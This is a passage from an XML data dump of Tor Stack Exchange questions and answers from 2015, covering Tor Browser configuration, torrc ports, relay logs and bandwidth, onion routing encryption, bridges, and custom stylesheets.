  <row Id="6277" PostTypeId="1" AcceptedAnswerId="6378" CreationDate="2015-02-24T16:49:34.433" Score="1" ViewCount="393" Body="&lt;p&gt;Sometimes I can access without a captcha from Tails a page, but not it's dependencies. For example, I can open a StackExchange question, but trying to go to &lt;a href=&quot;https://cdn.sstatic.net/&quot; rel=&quot;nofollow&quot;&gt;https://cdn.sstatic.net/&lt;/a&gt; triggers CloudFlare's captcha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I enter the captcha, I see unstyled StackExchange page and scripts don't work, after I explicitly enter the captcha for other depencency domain the page starts working well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I track and unlock the other CloudFlare-enabled domains for the given page? Is there, for example, a Tor Browser's addon that handles CloudFlare's rejection for dynamically loaded content explicitly and shows something like &quot;You need to enter 3 captchas for the following domains&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Workaround&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable Developer Tools&lt;/li&gt;&#xA;&lt;li&gt;go to Networking&lt;/li&gt;&#xA;&lt;li&gt;try (re-)loading &lt;/li&gt;&#xA;&lt;li&gt;observe 403 replies&lt;/li&gt;&#xA;&lt;li&gt;open a new tab &lt;/li&gt;&#xA;&lt;li&gt;go to the domain that retured 403&lt;/li&gt;&#xA;&lt;li&gt;enter CloudFlare's captcha&lt;/li&gt;&#xA;&lt;li&gt;goto 3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6803" LastEditorUserId="6803" LastEditDate="2015-03-24T09:53:44.073" LastActivityDate="2016-01-12T05:40:31.860" Title="How do enter all CloudFlare's captchas on one page to access a complex page?" Tags="|tor-browser-bundle|tails|cloudflare|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6279" PostTypeId="1" CreationDate="2015-02-25T02:36:55.210" Score="6" ViewCount="46131" Body="&lt;p&gt;How do I import bookmarks to Tor Browser? I did it before, but they are gone and now I cannot find the &quot;import bookmarks&quot; function I used last time.&lt;/p&gt;&#xA;" OwnerUserId="6806" LastEditorUserId="1765" LastEditDate="2015-02-26T12:31:05.547" LastActivityDate="2017-03-19T21:59:42.420" Title="How do I import bookmarks into Tor Browser?" Tags="|tor-browser-bundle|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6280" PostTypeId="1" CreationDate="2015-02-25T02:51:53.477" Score="3" ViewCount="115" Body="&lt;p&gt;I'm facing a little hitch, I managed to install and run my Tor browser; I am able to access all the Tor seacrch engines, but when I click some links on the Hidden wiki I get this error message.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Firefox can't establish a connection to the server at:- so and so&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried turning my firewall off. Still problem not solved. Does anybody have any suggestions on how to connect to hidden wiki?&lt;/p&gt;&#xA;" OwnerUserId="6807" LastEditorUserId="923" LastEditDate="2015-02-25T06:21:43.680" LastActivityDate="2015-02-27T12:12:40.277" Title="Browsing problems" Tags="|tor-browser-bundle|onion-services|error|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6281" PostTypeId="2" ParentId="6280" CreationDate="2015-02-25T04:15:43.167" Score="1" Body="&lt;p&gt;I'm assuming you're trying to access hidden services.&#xA;It's pretty common for hidden services to be down and sites like the hidden wiki reporting them as still active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm right then there's nothing you can do about it, sadly, except waiting to see if they come back online later.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2015-02-25T04:15:43.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6282" PostTypeId="2" ParentId="6280" CreationDate="2015-02-25T04:31:35.593" Score="1" Body="&lt;p&gt;If you are talking about Hidden Services, those things go up and down quite a bit. You would just have to wait, or find another service to browse in the mean time.&lt;/p&gt;&#xA;" OwnerUserId="6763" LastActivityDate="2015-02-25T04:31:35.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6283" PostTypeId="1" AcceptedAnswerId="6286" CreationDate="2015-02-22T21:40:04.013" Score="9" ViewCount="22121" Body="&lt;p&gt;I have downloaded and installed the tor browser bundle.&#xA;I would like to run tor as a single process alone without the browser, so I've been launching the tor.exe which exists in &lt;code&gt;[%Tor Directory%]\Browser\TorBrowser\Tor&lt;/code&gt;, but first I changed tor's config file &lt;code&gt;torrc&lt;/code&gt; as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksListenAddress 127.0.0.1:9200&#xA;SocksPort 9200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the listening port used by tor has never changed, and tor keeps listening on the same default port which is 9050.&#xA;&lt;strong&gt;Note&lt;/strong&gt; that &quot;torrc&quot; file is located in &lt;code&gt;[%Tor Directory%]\Browser\TorBrowser\Data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know why tor is not listening on the configured port? is there any missing step that I should be aware of?&lt;/p&gt;&#xA;" OwnerUserId="6819" OwnerDisplayName="Joe-ka" LastActivityDate="2019-06-16T20:55:28.313" Title="Changing tor's default listening port withing the torrc file" Tags="|configuration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6284" PostTypeId="1" AcceptedAnswerId="6285" CreationDate="2015-02-25T17:50:52.530" Score="4" ViewCount="952" Body="&lt;p&gt;I know that the Tor logs are in /var/log/tor. I have a question as to what one of the lines in the log means though. I see something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Heartbeat: Tor's uptime is 4 days 18:00 hours, with 440 circuits open. I've sent 128.72 GB and received 126.85 GB.&#xA; Heartbeat: Tor's uptime is 5 days 0:00 hours, with 483 circuits open. I've sent 159.72 GB and received 157.45 GB.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this mean I have sent that much data total since I started the relay a few days ago, or does that mean that from the time in the first heartbeat I posted, to the time in the second heartbeat I posted, I have sent 31 GB of data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, have I sent a total of 159.75 GB and received 157.45 GB of data since the relay first started? Or was that how much data I sent and received since the last heartbeat in a 6 hour period? That might be unclear, and if it is, let me know and I will try to explain more clearly. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6763" LastEditorUserId="88" LastEditDate="2016-05-02T18:46:31.463" LastActivityDate="2016-05-02T18:46:31.463" Title="What does the heartbeat line in my torrc mean?" Tags="|relays|exit-relays|bandwidth|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6285" PostTypeId="2" ParentId="6284" CreationDate="2015-02-25T19:13:33.287" Score="5" Body="&lt;p&gt;Those logs mean that you have transmitted 159 GB and received 157 GB as a total during the 5 days, which means you have sent only 31 GB in the period between the 2 log messages.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="6597" LastEditDate="2015-02-25T20:27:40.133" LastActivityDate="2015-02-25T20:27:40.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6286" PostTypeId="2" ParentId="6283" CreationDate="2015-02-25T19:19:18.933" Score="1" Body="&lt;p&gt;The &lt;code&gt;torrc&lt;/code&gt; file should be in &lt;code&gt;Browser\TorBrowser\Data\Tor&lt;/code&gt;, not &lt;code&gt;Browser\TorBrowser\Data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if the the file is in correct path. Check also that the &lt;code&gt;torrc-defaults&lt;/code&gt; file which may be overriding the changes in your &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-25T19:19:18.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6287" PostTypeId="1" CreationDate="2015-02-26T00:18:40.880" Score="1" ViewCount="17" Body="&lt;p&gt;I run a relay off of my desktop computer, and currently have Torbrowser and Tox configured to use it as a client as well. I seem to remember hearing long ago that a client that also acts as a relay can potentially have better anonymity than a client alone. But lately I've heard a few mentions (mainly here and there in the tor-talk and tor-dev lists) that it might actually be hurtful to anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does anyone have any input on this? Should I be running a Tor instance separate from my relay instead?&lt;/p&gt;&#xA;" OwnerUserId="6814" LastEditorUserId="6597" LastEditDate="2015-02-26T12:31:16.167" LastActivityDate="2015-02-26T12:31:16.167" Title="Using your Tor relay as a client for Torbrowser and other regular Tor traffic: Is this helpful or hurtful to your anonymity?" Tags="|anonymity|configuration|relays|deanonymization|client|" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-26T12:29:54.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="6289" PostTypeId="2" ParentId="6279" CreationDate="2015-02-26T13:04:43.130" Score="6" Body="&lt;p&gt;Do the following steps one by one:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click on the &lt;strong&gt;Bookmarks icon&lt;/strong&gt; (the clipboard icon not the star icon) next to the location bar&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Show all Bookmarks&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;strong&gt;Import and Backup&lt;/strong&gt; menu in the new window&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Restore&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;strong&gt;Choose file&lt;/strong&gt; from the submenu, and select the file where you previously exported your bookmarks to.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You are done.&lt;/p&gt;&#xA;" OwnerUserId="6818" LastEditorUserId="6597" LastEditDate="2015-02-27T08:32:01.853" LastActivityDate="2015-02-27T08:32:01.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6290" PostTypeId="2" ParentId="6246" CreationDate="2015-02-26T13:22:09.677" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tl;dr of the link above is that it can take 2 months to ramp up to full utilization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that the more bandwidth you are providing, the more &quot;attractive&quot; you are to traffic.  A 20KB/sec relay may meet the minimum standard for a relay, but won't actually contribute to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, yes, if you haven't specified a bandwidth cap, your relay will use all the bandwidth it can (eventually).&lt;/p&gt;&#xA;" OwnerUserId="6818" LastActivityDate="2015-02-26T13:22:09.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6291" PostTypeId="2" ParentId="6274" CreationDate="2015-02-26T13:44:00.917" Score="1" Body="&lt;p&gt;Well, the default &lt;code&gt;SocksPort&lt;/code&gt; is 9050 for non-Tor Browser tor installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, exposing a &lt;code&gt;SocksPort&lt;/code&gt; over the Internet would be a fairly bad idea (running open proxies is usually frowned upon), and accessing such a thing over the Internet would be an even worse idea, assuming you want any sort of privacy or security, as SOCKS4(a)/5 requests are sent unencrypted, so everyone in between your phone/computers and your VPS can see your destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to use a tor instance on a VPS that you control as your first hop, make your VPS into a Bridge, and instruct Tor Browser/Orbot/whatever to use said Bridge.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2015-02-26T13:44:00.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6292" PostTypeId="2" ParentId="6279" CreationDate="2015-02-26T17:59:06.920" Score="0" Body="&lt;p&gt;Beside the answer provided by &lt;em&gt;guest&lt;/em&gt;, you can use &lt;strong&gt;Firefox Sync&lt;/strong&gt; to sync your bookmarks from another TorBrowser or Firefox browser on the same device or on another device. You can access it from the &lt;strong&gt;menu icon&lt;/strong&gt; in the toolbar, choose &lt;strong&gt;Options&lt;/strong&gt;, and then choose &lt;strong&gt;Sync&lt;/strong&gt; from the top of the new window. You can configure your Sync options there and add your device to your Sync account.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-26T17:59:06.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6293" PostTypeId="1" AcceptedAnswerId="6324" CreationDate="2015-02-26T21:19:36.070" Score="1" ViewCount="279" Body="&lt;p&gt;I can't find any information on Tor Browser Bundle's handling of addons, so any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a basic addon for Firefox -- it was one of my first, so obviously it's pretty simple -- and exported it as an xpi.  Then I installed it on Firefox Developer Edition and it ran flawlessly for several sessions.  I had designed it to work with TBB, though, and when I tried to install it there, it would show as installed but not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon is supposed to scan a page for content, use simple storage to keep it, use notifications to show when the information is collected, and use a sidebar to display the information.  It all works smoothly in FDE, but TBB fails at showing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's some configuration I need to do to make it work, I'll do it.  I just need to know what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;APIs used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sdk/self&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sdk/pagemod&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sdk/notifications&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sdk/simple-storage&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sdk/ui&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone here knows about Tor Browser Addons...&lt;/p&gt;&#xA;" OwnerUserId="6820" LastEditorUserId="6820" LastEditDate="2015-02-26T21:42:49.903" LastActivityDate="2015-03-02T21:24:20.237" Title="Sidebar for custom addon broken in TBB" Tags="|tor-browser-bundle|firefox|add-on|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6295" PostTypeId="2" ParentId="6293" CreationDate="2015-02-27T07:42:53.650" Score="1" Body="&lt;p&gt;The latest version of &lt;strong&gt;TorBrowser&lt;/strong&gt; is based on &lt;strong&gt;Firefox ESR version 31&lt;/strong&gt;. Some of the addon features you are using in your code require perhaps a Firefox version higher than that. This can explain why the addon is working on &lt;strong&gt;Firefox Developer Edition&lt;/strong&gt; and not on the older version present in &lt;strong&gt;TorBrowser&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to inspect your code and refer to &lt;a href=&quot;https://developer.mozilla.org/en-US/Add-ons/SDK&quot; rel=&quot;nofollow&quot;&gt;Add-on SDK pages on MDN&lt;/a&gt; to see if you are using any code that requires a higher version of Firefox. Make sure also to update your &lt;strong&gt;TorBrowser&lt;/strong&gt; if you have not already done so, to ensure you're at least at version 31.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-27T07:42:53.650" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6296" PostTypeId="1" CreationDate="2015-02-27T10:48:01.063" Score="3" ViewCount="138" Body="&lt;p&gt;I need to get the time that a Tor server or an IP address first appeared in the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use Stem to get this kind of information?&#xA;If not, how do I get the time of a server or IP address first appearance using python?&lt;/p&gt;&#xA;" OwnerUserId="6827" LastEditorUserId="923" LastEditDate="2015-02-27T15:19:26.940" LastActivityDate="2015-03-09T14:55:06.680" Title="How to get time node/IP first appeared on the network?" Tags="|relays|time|stem|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6297" PostTypeId="2" ParentId="6280" CreationDate="2015-02-27T12:12:40.277" Score="1" Body="&lt;p&gt;The problem is not with your firewall - your computer is only talking to the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor exit nodes actually access the servers you're asking for, and some of them refuse to accept connections from exit nodes (for whatever reason). That, or slow tor nodes on your path, causes this message. (I often get this for duckduckgo.com.)&lt;/p&gt;&#xA;" OwnerUserId="3755" LastActivityDate="2015-02-27T12:12:40.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6298" PostTypeId="1" AcceptedAnswerId="6355" CreationDate="2015-02-27T16:20:34.507" Score="5" ViewCount="133" Body="&lt;p&gt;I asked &lt;a href=&quot;https://security.stackexchange.com/questions/82622/how-secure-are-tor-circuits/82631#82631&quot;&gt;this question&lt;/a&gt; about Tor and how secure are the first steps before the circuit is made (the guy who answered me, lead me to this site which i didn't know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct me if I'm wrong (or if the guy is wrong, since I will take his answer as starting point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the Directories (which are hard-coded servers in the Tor software) download a huge list of nodes. The Tor client is the one who creates the circuit. However: How can one be sure that the Directories are not compromised (after all, they are mainly maintained by the US Defense dept.) and don't bring compromised nodes? I'm aware that Tor does not build a circuit having 2+ nodes from the same &quot;person&quot; but ... what if the NSA has spread a lot of nodes and the Directories bring you such nodes? (perhaps your IP address is already being watched by the US dept. for suspicious* activities beforehand, and they only grant you, for that IP, a subset of nodes which are all from distinct identities but all of them compromised in the same way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How feasible is what I say?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(* this could apply even to entire countries, e.g. USA trying to put an eye on Venezuela, Ecuador, Argentina, Middle-East countries with internet access, ... having a IP2Location database is easy to get and pay for).&lt;/p&gt;&#xA;" OwnerUserId="6831" LastActivityDate="2015-03-07T21:56:31.883" Title="How feasible is that Directories grant you only compromised nodes to build the circuit from?" Tags="|exit-relays|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6299" PostTypeId="2" ParentId="6044" CreationDate="2015-02-27T17:09:03.713" Score="0" Body="&lt;p&gt;Although Jens and Windy provided answers to your question, depending on your intentions, there maybe a short cut to create a specific type of guard you maybe interested in. This short cut does not publish your relay as guard in this Web site: 'torstatus.blutmagie.de' or any other Web site. However, you may use this type of guard as your own entry node if you so desire. This particular type of guards is named 'bridge' and none of the stringent requirement of becoming a guard apply to bridges. If this remedy help you, you may use this solution. &lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-02-27T17:09:03.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6300" PostTypeId="1" CreationDate="2015-02-27T20:16:33.033" Score="1" ViewCount="308" Body="&lt;p&gt;i could not find a detailed explanation about how return path is defined. It is mentioned somewhere that exit node encrypts data multiple times. But how dose exit node gets the public key of first node? as exit node is note supposed to know who is first node.&lt;/p&gt;&#xA;" OwnerUserId="6772" LastActivityDate="2015-03-01T12:57:10.013" Title="return path selection" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6303" PostTypeId="2" ParentId="6300" CreationDate="2015-02-28T09:36:57.087" Score="1" Body="&lt;p&gt;Exist node is not supposed to know the identity of the first (guard node), and thus does not its public key. I have no specific knowledge about the encryption scheme in the return path, but I think it is likely that each relay node encrypts the packet using the next node's public key and forward it to the next node, which can decrypt it using its own private key. And so, the package is forwarded encrypted from a node to another using this method. The addresses of the next nodes in the return circuit can be obtained from the stored forward path. There is no need for layered encryption in the return path, since its objective was to hide the full circuit from any node in the path. But in the return path, the full path is not included, but each node uses as next hop the node that was the previous hop in the forward path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same circuit is preserved in the return path as I described above, but layered encryption is employed, but in the reverse order. Quoting from wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;When the chain is complete, the originator can send data over the Internet anonymously. When the final recipient of the data sends data back, the intermediary nodes maintain the same link back to the originator, with data again layered, but in reverse such that the final node this time removes the first layer of encryption and the first node removes the last layer of encryption before sending the data, for example a web page, to the originator.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow&quot;&gt;Onion Routing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="6597" LastEditDate="2015-03-01T12:57:10.013" LastActivityDate="2015-03-01T12:57:10.013" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6306" PostTypeId="1" CreationDate="2015-02-28T19:35:26.207" Score="2" ViewCount="109" Body="&lt;p&gt;Is it a good idea to establish bridges within repressive countries (China, Iran, etc.), or a bad idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one hand, having the bridge within the country removes the &quot;foreign&quot; stigma from that IP address for purposes of filtering/censorship.  On the other hand, does this mean that the bridge will then attempt to connect to a published relay IP address, making it obvious that it is an entry node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering this topic in light of Belarus's recent ban on Tor. &lt;/p&gt;&#xA;" OwnerUserId="6839" LastActivityDate="2015-03-04T10:44:55.577" Title="Bridges *within* repressive countries? Good or bad?" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6307" PostTypeId="1" AcceptedAnswerId="6315" CreationDate="2015-02-28T19:51:12.163" Score="5" ViewCount="3271" Body="&lt;p&gt;I want to use Tor Browser with a custom stylesheet to &lt;a href=&quot;http://people.ds.cam.ac.uk/ssb22/css/&quot; rel=&quot;noreferrer&quot;&gt;avoid eyestrain&lt;/a&gt;. Consider this &lt;a href=&quot;http://people.ds.cam.ac.uk/ssb22/css/0soft.css&quot; rel=&quot;noreferrer&quot;&gt;.css file&lt;/a&gt;, for instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their instructions for Firefox are as follows: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firefox:  Locate your proﬁle directory as described on mozilla.org, and save the ﬁle as userContent.css in the chrome subdirectory of your proﬁle directory (if no chrome subdirectory exists, create it).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I saved the stylesheet in: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.tor-browser-en/INSTALL/Browser/browser/chrome/userContent.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But upon restart Tor still doesn't use the custom stylesheet. I tried enabling JavaScript, but still no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use a custom stylesheet with the Tor Browser? &lt;/p&gt;&#xA;" OwnerUserId="6840" LastEditorUserId="6840" LastEditDate="2015-02-28T20:33:32.687" LastActivityDate="2015-03-03T04:29:17.347" Title="How to use a custom stylesheet with Tor Browser?" Tags="|tor-browser-bundle|configuration|customization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6310" PostTypeId="1" AcceptedAnswerId="6367" CreationDate="2015-03-01T02:07:46.967" Score="4" ViewCount="4148" Body="&lt;p&gt;Question as captioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to set the exit node to USA by setting the exit node parameter to &quot;us&quot; and to England by &quot;gb&quot;. But when I set that parameter to &quot;cn&quot;, it seems fail to use a Chinese IP. Sometimes I even can't open Tor Browser properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I have done something wrong. Any helps are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6843" LastEditorUserId="88" LastEditDate="2015-03-01T11:36:53.977" LastActivityDate="2015-03-08T14:52:58.960" Title="How to use Chinese IP only on Tor Browser?" Tags="|tor-browser-bundle|configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6311" PostTypeId="1" CreationDate="2015-03-01T12:09:47.993" Score="2" ViewCount="2600" Body="&lt;p&gt;I read that onion proxy adds a layer of abstraction for each onion router in a route,and each onion router just removes a layer of encryption then does onion proxy knows about all onion routers in the route? and does onion routers just decrypts the data and not encrypt them?&lt;/p&gt;&#xA;" OwnerUserId="6844" LastEditorUserId="6844" LastEditDate="2015-03-01T15:03:28.447" LastActivityDate="2019-02-21T22:33:33.047" Title="How is data encrypted and decrypted in onion routing?" Tags="|tor-browser-bundle|anonymity|security|directory|tor-cloud|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6313" PostTypeId="1" CreationDate="2015-03-01T14:01:27.367" Score="0" ViewCount="268" Body="&lt;p&gt;Google gets to know a user's IP when someone enters a captcha even if they are using tor (see &lt;a href=&quot;http://www.wired.com/2014/12/google-one-click-recaptcha/&quot; rel=&quot;nofollow&quot;&gt;http://www.wired.com/2014/12/google-one-click-recaptcha/&lt;/a&gt;). So, If I go to a non-google website, such as cnn.com, and it asks me for a captcha for submitting a particular form, will it hand over my IP to cnn?&lt;/p&gt;&#xA;" OwnerDisplayName="user6845" LastActivityDate="2016-05-27T19:30:36.067" Title="Does Google hand over captcha IPs to webmasters?" Tags="|tor-browser-bundle|anonymity|google|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6314" PostTypeId="1" CreationDate="2015-03-01T15:09:27.287" Score="2" ViewCount="98" Body="&lt;p&gt;Does tor proxy includes keys that it shares with all tor nodes for encryption?who stores information about all tor nodes in the route?&lt;/p&gt;&#xA;" OwnerUserId="6844" LastActivityDate="2015-04-02T18:55:35.187" Title="What does tor proxy and tor directory stores?" Tags="|tor-browser-bundle|anonymity|onion-routing|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6315" PostTypeId="2" ParentId="6307" CreationDate="2015-03-01T15:33:04.510" Score="5" Body="&lt;p&gt;First, a brief caveat: I offer the following information with &lt;em&gt;no&lt;/em&gt; guarantee what implications, if any, it has upon your security. I doubt that it does, but it's prudent that I still note this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, this is how you would do it within the TAILS os, The file path may be different in your specific case, but the general approach will likely be the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two useful files you would consider modifying are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/home/amnesia/.tor-browser/profile.default/chrome/userChrome.css&lt;/li&gt;&#xA;&lt;li&gt;/home/amnesia/.tor-browser/profile.default/chrome/userContent.css&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am sure that there are others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The userChrome.css file already exists; the userContent.css is one you will need to create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relative to what you have already attempted, perhaps you are not using the default user profile, and as a corollary, are modifying a css file which the Tor Browser is simply not loading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;userChrome.css&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one will modify the browser UI. With regards to eye strain, here is one setting you may consider making, which will make the URL address bar more readable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* set the URL bar font characteristics */&#xA;#urlbar {&#xA;    font-family: monospace !important;&#xA;    font-size: 18pt !important;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://joelinoff.com/blog/?p=321&quot; rel=&quot;nofollow&quot;&gt;http://joelinoff.com/blog/?p=321&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Close and save the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;userContent.css&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you already know, this one will override website-specified styles. In the same folder as the userChrome.css file, create userContent.css. I am less well versed in how to modify this. Also, some of the css you specify may not necessarily be supported by the browser. However, I am testing it as I am typing this, and some (but not all) of the text can may be rendered larger with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Obviate need to zoom on many sites. */&#xA;html&amp;gt;body {&#xA;  font-size: 150% !important;&#xA;  line-height: normal !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This modification alters much of the TAILS homepage font size, but affects the apperance of StackExchange considerably less so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;For changes to take effect, close and restart your browser&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional references&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've yet to review them, these references will also be of use to you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kb.mozillazine.org/UserChrome.css&quot; rel=&quot;nofollow&quot;&gt;http://kb.mozillazine.org/UserChrome.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kb.mozillazine.org/UserContent.css&quot; 